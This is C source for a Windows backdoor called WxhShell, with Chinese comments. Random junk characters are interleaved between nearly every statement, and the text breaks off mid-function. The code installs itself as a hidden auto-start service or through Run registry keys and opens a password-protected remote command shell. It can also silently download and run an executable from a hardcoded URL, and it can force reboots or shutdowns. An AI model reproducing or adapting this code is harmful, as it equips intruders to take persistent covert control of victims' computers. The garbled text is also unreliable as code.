U(Hq4D NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %;"B;~ b/D9P~cE if (!NtQueryInformationProcess) return 0; 4<eJ zYgK$u^H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Is*0?9qU if(!hProcess) return 0; ;03*qOYc ]mJAKycE% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W&~iO u=ds]XP@ CloseHandle(hProcess); ,uqbS +=29y@c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 61eKGcjs: if(hProcess==NULL) return 0; [jtj~]&mO g^<q L| HMODULE hMod; ke;*uS char procName[255]; d= T9mj.@ unsigned long cbNeeded; ]=
QCCC +_|cZlQ& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |0vHy7CE [#3Cg%V CloseHandle(hProcess); ~:RDw<PWp mG8 if(strstr(procName,"services")) return 1; // 以服务启动 qzU2H ;Cp/2A}Xx return 0; // 注册表启动 M@LaD 5 } N-?|]4e/ 4[f7X4d$ // 主模块 xx`8>2T#e int StartWxhshell(LPSTR lpCmdLine) #*;fQ&p { t73Z3M SOCKET wsl; scPq\Qd?O BOOL val=TRUE; ,*}g
r int port=0; w$_'xX( struct sockaddr_in door; E*!zJ,@8 *IO;`k q,; if(wscfg.ws_autoins) Install(); k
@/SeE 'm p{O port=atoi(lpCmdLine); .5Z@5g` 3vGaT4TDx if(port<=0) port=wscfg.ws_port; z&HN>7 <0,ah4C WSADATA data; GzZ|T7fm if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (Ss77~W7 f!R^;'a if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f6_|dvY3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F*jjcUk door.sin_family = AF_INET; '>WuukC door.sin_addr.s_addr = inet_addr("127.0.0.1"); YvP"W/5 door.sin_port = htons(port); o!_; H}pq Q j~W-^/ - if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (9[C0e S closesocket(wsl); G>{:D'# return 1; p$!+2=)gY } s"Pk-Dv i\R\bv[9 if(listen(wsl,2) == INVALID_SOCKET) { q!h*3mNm closesocket(wsl); )b2E/G@X& return 1; hu*>B } %IH|zSr)EM Wxhshell(wsl); 9oau_Q# WSACleanup(); )1yUV*6 ujHzG}2z return 0; ]B.,7 .gsu_N_v } KL\=:iWA "E[*rnsLN // 以NT服务方式启动 n YMf[kW VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cq;K,B9 { ' ^L DWORD status = 0; hw.demD DWORD specificError = 0xfffffff; hs#s $})}Z 0~L8yMM serviceStatus.dwServiceType = SERVICE_WIN32; wTAEJ{p serviceStatus.dwCurrentState = SERVICE_START_PENDING; xp;8p94 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w#bbm'j7r serviceStatus.dwWin32ExitCode = 0; .1q~,}toX serviceStatus.dwServiceSpecificExitCode = 0; 3/|{>7]1 serviceStatus.dwCheckPoint = 0; DBrzw+;e3 serviceStatus.dwWaitHint = 0; &l}xBQAL T7Qd
I[K%b hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X%\6V;zR# if (hServiceStatusHandle==0) return; B46H@]d#7K \]:NOmI^' status = GetLastError(); ghd[G} if (status!=NO_ERROR) j
tkPi)QR { K.L+;
nQ serviceStatus.dwCurrentState = SERVICE_STOPPED; f%%En5e+ serviceStatus.dwCheckPoint = 0; Q_h+r!b serviceStatus.dwWaitHint = 0; (=/L#Yg_ serviceStatus.dwWin32ExitCode = status; f7AJSHe serviceStatus.dwServiceSpecificExitCode = specificError; yW,#&>]# | SetServiceStatus(hServiceStatusHandle, &serviceStatus); gl{PLLe[} return; +q?0A^C> } Nm :lC%>X 2o3k=hKS serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ilBw:L-3 serviceStatus.dwCheckPoint = 0; .?)oiPW# serviceStatus.dwWaitHint = 0; <+JFal if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0J,d9a [1 } P*=3$-` Jt^JE{m9% // 处理NT服务事件,比如:启动、停止 .xQ'^P_q VOID WINAPI NTServiceHandler(DWORD fdwControl) hQLx"R$ { E0%Y%PQ**{ switch(fdwControl) jl%eO. { ?BZ`mrH^ case SERVICE_CONTROL_STOP: X1QZEl serviceStatus.dwWin32ExitCode = 0; k#G7`dJl serviceStatus.dwCurrentState = SERVICE_STOPPED; (dnc7KrM serviceStatus.dwCheckPoint = 0; K]Cs2IpI serviceStatus.dwWaitHint = 0; iK0J{' { /faP]J) SetServiceStatus(hServiceStatusHandle, &serviceStatus); :v ~q } ~l(tl[ return; B9Tztg
case SERVICE_CONTROL_PAUSE: \B+SzW serviceStatus.dwCurrentState = SERVICE_PAUSED; `fh_8%m]* break; gM[
J'DMW case SERVICE_CONTROL_CONTINUE: g5N<B+?!i serviceStatus.dwCurrentState = SERVICE_RUNNING; 7027@M?A? break; `5jB|r/ case SERVICE_CONTROL_INTERROGATE: ~g|0uO}. break; B{7/A[$%C }; 5Jd {Ev SetServiceStatus(hServiceStatusHandle, &serviceStatus); hf5SpwxLiH } }n8;A;axi 4gt "dfy+ // 标准应用程序主函数 ON!G{=7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6HQwL\r79 { A{T@O5ucj k(Xv&Zn // 获取操作系统版本 5!fW&OiY OsIsNt=GetOsVer(); vyy\^nL GetModuleFileName(NULL,ExeFile,MAX_PATH); N>\?Aeh {/!"}{G1e // 从命令行安装 ]Y!
Vyn if(strpbrk(lpCmdLine,"iI")) Install(); ExU|EN- 8ngf(#_{_n // 下载执行文件 m*,[1oeG& if(wscfg.ws_downexe) { L uKm if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pC
Is+1O/ WinExec(wscfg.ws_filenam,SW_HIDE); [`dipLkr } YhR"_ ,QAp5I%3= if(!OsIsNt) { Y}z?I%zL // 如果时win9x,隐藏进程并且设置为注册表启动 nit7|T@^ HideProc(); *dgNpJ 9 StartWxhshell(lpCmdLine); !Hj)S](F } l[{}ZKZ else bncFrzp#o if(StartFromService()) ="E
V@H?U // 以服务方式启动 (ZsR=:9( StartServiceCtrlDispatcher(DispatchTable); HKw4}FC* else >7Q7H#~w // 普通方式启动 %*}f<k{6 StartWxhshell(lpCmdLine); <7) 6*u Lxrn#Z eM return 0; 2 -8:qmP( } 8 z7,W3b P#oV ^ {Oszq(A @b({QM| =========================================== Q(7l<z _3>zi.J/ zjE4v-H:l =LA@E&,j #E)]7!_XG 3&:fS|L~c " y5h[^K3 oPZ4}>uV #include <stdio.h> y Dw!u[: #include <string.h> sRnMBW. #include <windows.h> F
x8)jBB_ #include <winsock2.h> KK|Jach #include <winsvc.h> OUMr}~/ #include <urlmon.h> l))IO`s=_ ;wB3H #pragma comment (lib, "Ws2_32.lib") T0jJp7O #pragma comment (lib, "urlmon.lib") ~cwwB{ G"wQ(6J@ #define MAX_USER 100 // 最大客户端连接数 mr.DP~O:9p #define BUF_SOCK 200 // sock buffer _"`h~jB #define KEY_BUFF 255 // 输入 buffer f
d5~'2 X|G+N(`|( #define REBOOT 0 // 重启 Ry3 f'gx #define SHUTDOWN 1 // 关机 9B0"GEwrs Bk<P~-I #define DEF_PORT 5000 // 监听端口 *h9vMks
o s50ln&2 #define REG_LEN 16 // 注册表键长度 }C}_
I:=C #define SVC_LEN 80 // NT服务名长度 ^123.Ru|t w7u >|x! // 从dll定义API `$- Ib^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )FPbE^s( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d5hE!= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s ~G{-)* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OK(d& 4y.[tk5 // wxhshell配置信息 "<#:\6aym struct WSCFG { Df^S77&c! int ws_port; // 监听端口 xM\ApN~W char ws_passstr[REG_LEN]; // 口令 K(S/D(\
FL int ws_autoins; // 安装标记, 1=yes 0=no n
Lb 9$& char ws_regname[REG_LEN]; // 注册表键名 >j3N-;o@? char ws_svcname[REG_LEN]; // 服务名 Bs}>#I char ws_svcdisp[SVC_LEN]; // 服务显示名 ?Q2pD!L{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 RGmpkQEp char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @Iu-F4YT int ws_downexe; // 下载执行标记, 1=yes 0=no ?C3cPt" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <^{: K` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +6atbbe} W^f#xrq> }; TVA1FD O6]~5&8U. // default Wxhshell configuration gG>>ynn struct WSCFG wscfg={DEF_PORT, AF6'JxG7 "xuhuanlingzhe", ba13^;fm# 1, H=C;g)R "Wxhshell", P+h&tXZn8 "Wxhshell", =@o} "WxhShell Service", 63=m11Z4 "Wrsky Windows CmdShell Service", K-3 _4As "Please Input Your Password: ", d.A0(*k, 1, y
rk#)@/m "http://www.wrsky.com/wxhshell.exe", flqTx)xE "Wxhshell.exe" #C^m>o~R }; Q
# gHD X $f%Ss // 消息定义模块 %3j5Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )VC) } char *msg_ws_prompt="\n\r? for help\n\r#>"; PQ>JoRs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T^_9R; char *msg_ws_ext="\n\rExit."; D2bUSRrb char *msg_ws_end="\n\rQuit."; .&y1gh!= char *msg_ws_boot="\n\rReboot..."; jL SZ#H char *msg_ws_poff="\n\rShutdown..."; 0J~4
char *msg_ws_down="\n\rSave to "; ~@JC1+ &
j43DYw4 char *msg_ws_err="\n\rErr!"; L%FL{G
char *msg_ws_ok="\n\rOK!"; hr5)$qZW 43XuQg4 char ExeFile[MAX_PATH]; wG
O)!u 4 int nUser = 0; 7_,gAE:kG HANDLE handles[MAX_USER]; .E&~]< int OsIsNt; kns]P<g |+;"^<T)l SERVICE_STATUS serviceStatus; 2B7&Ll\> SERVICE_STATUS_HANDLE hServiceStatusHandle; 8*wI^*Q e+wd>iiB // 函数声明 zu#o<6E{ int Install(void); D3PF(Wx int Uninstall(void); 0N.*c int DownloadFile(char *sURL, SOCKET wsh); jTnu! H2o int Boot(int flag); /7^~* void HideProc(void); H;2pk int GetOsVer(void); OjZ@_V: int Wxhshell(SOCKET wsl); PW}.` void TalkWithClient(void *cs); Cp%|Q.? int CmdShell(SOCKET sock); EeO{G*pq int StartFromService(void); W=!f int StartWxhshell(LPSTR lpCmdLine);
U{EW +> 4%TC2Laii VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N!AFsWV VOID WINAPI NTServiceHandler( DWORD fdwControl ); T (qu~}
cO:x{~ // 数据结构和表定义 {\B!Rjt[T SERVICE_TABLE_ENTRY DispatchTable[] = %[J( ,rm { J5k% {wscfg.ws_svcname, NTServiceMain}, iwbjjQPr {NULL, NULL} V~;YV]1Y }; S4w/
kml3 VZ8L9h<{" // 自我安装 ,P}c92; int Install(void) t(Uoi~#[ { #XsqTK_nk char svExeFile[MAX_PATH]; 9L};vkYk# HKEY key; |NI0zd strcpy(svExeFile,ExeFile); e\<I:7%Rg ~J|0G6H // 如果是win9x系统,修改注册表设为自启动 V;"'!dVX if(!OsIsNt) { {8' 5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' vwBG=9C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6{M.S}.^ RegCloseKey(key); iaB5t<t1r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GOt@x9% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t.cplJF&Ue RegCloseKey(key); _3hEYeh return 0; mIyaoIE|$ } F<$&G'% H } am}zOr\ } zy|hf<V else { >97N
$ 4:.M*Dz // 如果是NT以上系统,安装为系统服务 mS0W@# |K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @9-qqU@ if (schSCManager!=0) STI8[e7{ { >2a~hW|, SC_HANDLE schService = CreateService Sz
=z
TPnO ( <*[(t;i schSCManager, %X3T<3< wscfg.ws_svcname, W;=ZQ5Lw wscfg.ws_svcdisp, \21!NPXH2 SERVICE_ALL_ACCESS, bu]bfnYi9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GB#7w82 SERVICE_AUTO_START, d^7<l_u~ ! SERVICE_ERROR_NORMAL, !Ej<J&e svExeFile, Rh=h{O NULL, {?8rvAjY NULL, FEkx&9] NULL, \?j(U8mB> NULL, q
bo`E!K NULL %vW@_A~ ); VD4( if (schService!=0) x-[l`k.V { M-n +3E9 CloseServiceHandle(schService); s
SDBl~g CloseServiceHandle(schSCManager); 0:XmReO+k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,-):&V:jF strcat(svExeFile,wscfg.ws_svcname); u URf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y=t
-/*K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mwt3EV5 RegCloseKey(key); FGC[yz1g: return 0; Ae"B]Cxb_X } F
J)la9 } avQwbAh[ CloseServiceHandle(schSCManager); R8HFyP } 8qT/1b } ;yr'K WaYT\CG7y return 1; zQ6otDZx } %NvY~, BwR)--75 // 自我卸载 CGQ`i int Uninstall(void) NOvN8.K% { .A E(D7d6 HKEY key; Yv>% 5` [,VD^\ if(!OsIsNt) { |g~.]2az if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xu3qX" RegDeleteValue(key,wscfg.ws_regname); Ra/S46$ RegCloseKey(key); Ta_#Rg*! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T!8,R{V]4 RegDeleteValue(key,wscfg.ws_regname); sPut@4[S RegCloseKey(key); z;T?2~g! return 0; Gd!y,n&s } 9BP-Iet } -{HA+ YL H } 4oJ0,u else { tlj^0 ,a}+Jj{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %
_ N-:.S if (schSCManager!=0) JMXCyDy; { WawOap SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ls( &. if (schService!=0) YM-,L-HMA { -Wf 2m6t if(DeleteService(schService)!=0) { )<%GHDWL CloseServiceHandle(schService); T{Av[>M CloseServiceHandle(schSCManager); LBTf}T\ return 0; iNcB6,++ } [S4<bh! CloseServiceHandle(schService); XLB7
E } )Zox;}WK+ CloseServiceHandle(schSCManager); H?PaN)_6-+ } d-X<+&VZ } mk}8Cu4 1$4dzI() return 1; f mf(5 } svN&~@l y6fYNB // 从指定url下载文件 @PutUYz int DownloadFile(char *sURL, SOCKET wsh) <d8Yk>R { s_/CJ6s HRESULT hr; rOX\rI%0+ char seps[]= "/"; !Eu}ro.} char *token; 04o(05K char *file; T)MKhK9\Ab char myURL[MAX_PATH]; k*J0K=U| char myFILE[MAX_PATH]; d-y8c V!uW\i/ strcpy(myURL,sURL); nwf(`=TC token=strtok(myURL,seps); (V&$KDOA while(token!=NULL) xtyOG { v#TU7v?~ file=token; N^v"n*M0| token=strtok(NULL,seps); U<K)'l6#2n } c1Skt =nGgk}Z GetCurrentDirectory(MAX_PATH,myFILE); K9]L>Wj strcat(myFILE, "\\"); ",Mr+;;:[ strcat(myFILE, file); Dc2H<=]; send(wsh,myFILE,strlen(myFILE),0); \<TWy&2& send(wsh,"...",3,0); +xp)la. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m9 1Gc?c if(hr==S_OK) *jM]:GpyoU return 0; G8}k9?26( else jBb:) return 1; 1N,</<" qx|~H'UuBN } pC^d-Ii Zcjh // 系统电源模块 lxf+$Z`~: int Boot(int flag) LtW}R4}3 { ?L x*MJZ HANDLE hToken; 1R-WJph TOKEN_PRIVILEGES tkp; 7_HFQT1.N ^VOFkUp) if(OsIsNt) { evjj~xkte OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sFt"2TVr3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?k@^U9?R tkp.PrivilegeCount = 1; Ir#]p9:x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [>![ViX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lha)4d if(flag==REBOOT) { #x*\dL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~bf4_5 return 0; ? fW['% } e>0gE`8A else { DaP,3>M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AT%6K. return 0; 42M_ %l_ } 41g
"7Mk } CVE(N/&b else { 5:|9pe) if(flag==REBOOT) { &n9&k
Em if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Wv+Ek return 0; T[Lz4;TRk5 } [n4nnmM else { V/`vX;% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jh(T?t$& return 0; jI Entk } 7>"dc+Fg } /g$G
G9 L>L IN 1A return 1; U$|q]N } PzOnS ;6:9 EEd // win9x进程隐藏模块 bMn)lrsX void HideProc(void) -U*J5Q { Qo32oT[DM ,.Lwtp,n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;.'?(iEB if ( hKernel != NULL ) ulE5lG0c { LAkBf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PriLV4? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @Bds0t FreeLibrary(hKernel); {7jl) x3l } X$e*s\4 ":0u%E?s return; 3^[P } =^1jVaAL EQN)y27poW // 获取操作系统版本 q
#mBNe62p int GetOsVer(void) =p^$>o { 1w~PHH`~ OSVERSIONINFO winfo; ?Z2`8]-E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T*:w1*: GetVersionEx(&winfo); !c`&L_ "! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ; [G: return 1; Q3Pu<j}Y else {n|ah{_p| return 0; "AU.Eh"-1 } nNq<x^@83 l`.z^+!8@ // 客户端句柄模块 KLvAe>#, int Wxhshell(SOCKET wsl) p[w! SR%= { LN~mKoW SOCKET wsh; ]DKRug5 struct sockaddr_in client; .W^B(y(tA DWORD myID; /78]u^SW ((C|&$@M while(nUser<MAX_USER) M!+J[q { ?z`={oN int nSize=sizeof(client); &Ts!#OcB, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !m^;wkrY if(wsh==INVALID_SOCKET) return 1; GF6 o ,A'| Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b"uO BB if(handles[nUser]==0) ckMG4
3i\j closesocket(wsh); \_WR:?l else %cLS*=MO nUser++; PChe w3 } C7ug\_,s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $2\8Rn6' ~5'7u-; return 0; hs[x\:})/ } -nXP<v=V (P`=9+ // 关闭 socket :h5G|^
void CloseIt(SOCKET wsh) $m;`O_-T { b3EGtC}^ closesocket(wsh); 'y\Je7 nUser--; g'KxjjYT, ExitThread(0); 9v_s_QkL2 } TKM^ 4^uSW&`;/ // 客户端请求句柄 E{EO9EI void TalkWithClient(void *cs) KJRAW]?{ { & ?x R 0S^&A?$= SOCKET wsh=(SOCKET)cs; qmFG char pwd[SVC_LEN]; kL%ot<rt)w char cmd[KEY_BUFF]; 0CX,"d_T, char chr[1]; +=jS! int i,j; Bhxs(NO yI 2UmhA while (nUser < MAX_USER) { 3l%Qd< KEtV if(wscfg.ws_passstr) { Sp492W+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xd=KBB[r? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gzIx!sc //ZeroMemory(pwd,KEY_BUFF); [02rs@c> i=0; lhKn&U while(i<SVC_LEN) { /kY9z~l db~^Gqv6k // 设置超时 5>I-? Ki fd_set FdRead; JcWp14~e struct timeval TimeOut; 5X20/+aT FD_ZERO(&FdRead); :ZM9lBY h FD_SET(wsh,&FdRead); uX*2Rs$s TimeOut.tv_sec=8; 4~,Z ' k TimeOut.tv_usec=0; d
#1Y^3n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sSh{.XuB+3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sqrLys_S l::q
F 0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QQBh)5F pwd=chr[0]; QkBw59L7 if(chr[0]==0xd || chr[0]==0xa) { J-hJqR*;K pwd=0; Jqj!k*=/ break; H:@hCO[a } >E>yA d i++; HEBeJ2w } q7X#LY k 8cG?p // 如果是非法用户,关闭 socket @j^R+F if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z1eT>6|]r } rZKfb}ANQ -g@!\{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m<h%BDSzr{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /?eVWCR iM@$uD$_Q2 while(1) { q#tUDxf(| )O]6dd ZeroMemory(cmd,KEY_BUFF); '{"Rjv7 C`hdj/!A // 自动支持客户端 telnet标准 j|t=%* j=0; 3[ xdls while(j<KEY_BUFF) {
ECOJ .^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Q&J\'GQH cmd[j]=chr[0]; }:0_%=)N< if(chr[0]==0xa || chr[0]==0xd) { ob\-OMNs@ cmd[j]=0; K6kz{R%` break; inWLIXC,
} --WQr]U/ j++; /K#k_k } I8Aq8XBw _~z
oMdT! // 下载文件 *4}_2"[ if(strstr(cmd,"http://")) { ~w?02FU send(wsh,msg_ws_down,strlen(msg_ws_down),0); e$J>z { if(DownloadFile(cmd,wsh)) C^L+R7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); M]s\F(*ib else G:<f(Gy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cLV*5?gVO } r{;NGQYs else { g&s.
0+ PMfW;%I. switch(cmd[0]) { 4yyw:" JT?u[pQ^ // 帮助 Dh8ECy5k<* case '?': { gQ_<;'m)2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )2&3D"V break; tm+*ik=x| } pey=zR! // 安装 G?s9c0f case 'i': { o;$xN3f, if(Install()) 'JOUx_@z send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;7'O=% else KqK]R6> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ymz/: break; gJQ#j~' } :W.H#@'( // 卸载 [E1qv; case 'r': { #L*\ ^ c if(Uninstall()) Lc{AB!Br send(wsh,msg_ws_err,strlen(msg_ws_err),0); w:5?ofC else aJ'Fn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 32wtN8kx break; #AJW-+1g.= } =I# pXL // 显示 wxhshell 所在路径 IL*B@E8 case 'p': { (/A.,8Ad char svExeFile[MAX_PATH]; I0m7;M7 P strcpy(svExeFile,"\n\r"); 731Lz*IFg strcat(svExeFile,ExeFile); K!6T8^JH send(wsh,svExeFile,strlen(svExeFile),0); hY`<J]-'` break; ]3LLlXtK[ } ZSuoD$~k[ // 重启 TxJk.c case 'b': { OG5{oH#K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }9^:(ty2A if(Boot(REBOOT)) M& ZKc send(wsh,msg_ws_err,strlen(msg_ws_err),0); tu\XuDky else { #_DpiiS,.Q closesocket(wsh); tgF~5
o}? ExitThread(0); U#z"t&o=L }
0t7N yKU break; p*Z<DEh# } ,X|Oe@/ // 关机 if*V-$[I case 'd': { G"/;Cq=t send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K2xB%m1LK if(Boot(SHUTDOWN)) H8eEBMGo send(wsh,msg_ws_err,strlen(msg_ws_err),0); \lbH
else { 74([~Qs _M closesocket(wsh); |5^
iqW ExitThread(0); C~ &E7w |